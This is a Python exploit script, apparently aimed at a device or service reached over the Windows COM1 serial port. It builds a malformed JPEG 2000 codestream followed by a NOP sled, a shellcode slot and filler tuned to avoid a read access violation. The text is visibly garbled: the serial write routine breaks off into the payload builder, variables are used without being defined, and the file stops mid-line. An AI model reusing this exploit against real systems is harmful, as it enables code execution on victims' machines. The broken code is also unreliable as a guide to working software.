from ctypes import * from ctypes.wintypes import BYTE from ctypes.wintypes import WORD from ctypes.wintypes import DWORD import sys import struct import binascii import array import zlib class DCB(Structure): _fields_=[ ('DCBlength',DWORD), ('BaudRate',DWORD), ('fBinary',DWORD,1), ('fParity',DWORD,1), ('fOutxCtsFlow',DWORD,1), ('fOutxDsrFlow',DWORD,1), ('fDtrControl',DWORD,2), ('fDsrSensitivity',DWORD,1), ('fTXContinueOnXoff',DWORD,1), ('fOutX',DWORD,1), ('fInX',DWORD,1), ('fErrorChar',DWORD,1), ('fNull',DWORD,1), ('fRtsControl',DWORD,2), ('fAbortOnError',DWORD,1), ('fDummy2',DWORD,17), ('wReserved',WORD), ('XonLim',WORD), ('XoffLim',WORD), ('ByteSize',BYTE), ('Parity',BYTE), ('StopBits',BYTE), ('XonChar',c_char), ('XoffChar',c_char), ('ErrorChar',c_char), ('EofChar',c_char), ('EvtChar',c_char), ('wReserved1',WORD), ] class COMMTIMEOUTS(Structure): _fields_=[ ('ReadIntervalTimeout',DWORD), ('ReadTotalTimeoutMultiplier',DWORD), ('ReadTotalTimeoutConstant',DWORD), ('WriteTotalTimeoutMultiplier',DWORD), ('WriteTotalTimeoutConstant',DWORD), ] class TPVM: SERIAL_PORT=b'\\\\.\\COM1' def __init__(self): self.hPort=windll.kernel32.CreateFileA(self.SERIAL_PORT, 0xc0000000, #GENERIC_READ|GENERIC_WRITE 3, #FILE_SHARE_READ|FILE_SHARE_WRITE None, 3, #OPEN_EXISTING 0, None) if (self.hPort&0xffffffff)==0xffffffff: raise Exception('the serial port could not be opened (0x%08x)'%(GetLastError())) if not windll.kernel32.SetupComm(self.hPort, 0x20000, 0x84d0): raise WinError() dcb=DCB() dcb.DCBlength=0x1c dcb.BaudRate=0x1C200 dcb.fBinary=1 dcb.fOutxCtsFlow=1 dcb.fDtrControl=2 dcb.fRtsControl=2 dcb.ByteSize=8 dcb.fAbortOnError=1 windll.kernel32.SetCommState(self.hPort, byref(dcb)) commtimeouts=COMMTIMEOUTS() commtimeouts.ReadIntervalTimeout=0 commtimeouts.ReadTotalTimeoutMultiplier=0 commtimeouts.ReadTotalTimeoutConstant=20000 commtimeouts.WriteTotalTimeoutMultiplier=0 commtimeouts.WriteTotalTimeoutConstant=20000 if not windll.kernel32.SetCommTimeouts(self.hPort, byref(commtimeouts)): raise WinError() def __write_packet(self,buffer): bytesWritten=DWORD(0) if not windll.kernel32.WriteFile(self.hPort, buffer, len(buffer), byref(bytesWritten), None): raise WinError() print('%d bytes written'%(bytesWritten.value)) def __read_packet(self,n): buffer=c_buffer(n) bytesRead=DWORD(0) if not windll.kernel32.ReadFile(self.hPort, buffer, n, byref(bytesRead), None): raise WinError() print('%d bytes read'%(bytesRead.value)) return buffer.raw def __write(self,buffer): while len(buffer)!=0: n=min(len(buffer),0x7ffd) self.__write_packet(struct.pack('H',0xff4f) #SOC marker j+=struct.pack('>HH',0xff51,0x29) #SIZ marker j+=struct.pack('>HIIIIIIII',0,1,9,0,0,1,9,0,0) j+=struct.pack('>HBBB',1,7,1,1) j+=struct.pack('>HH',0xff5c,3+len(o)) #QCD marker j+=struct.pack('>B',2) #sqcd for i in range(0,len(o),2): #switch the endianness of the words j+=struct.pack('>H',(o[i+1]<<8)+o[i]) j+=struct.pack('>H',0xffd9) #EOC marker j+=b'\x90'*(0x200-len(j)) #unprocessed data j+=SHELLCODE j+=b'\xcc'*(0x10000-len(j)) #has to be at least 10000h long to avoid a read AV #custom 8000h record r=b'' r+=b'A'*0x28 r+=struct.pack('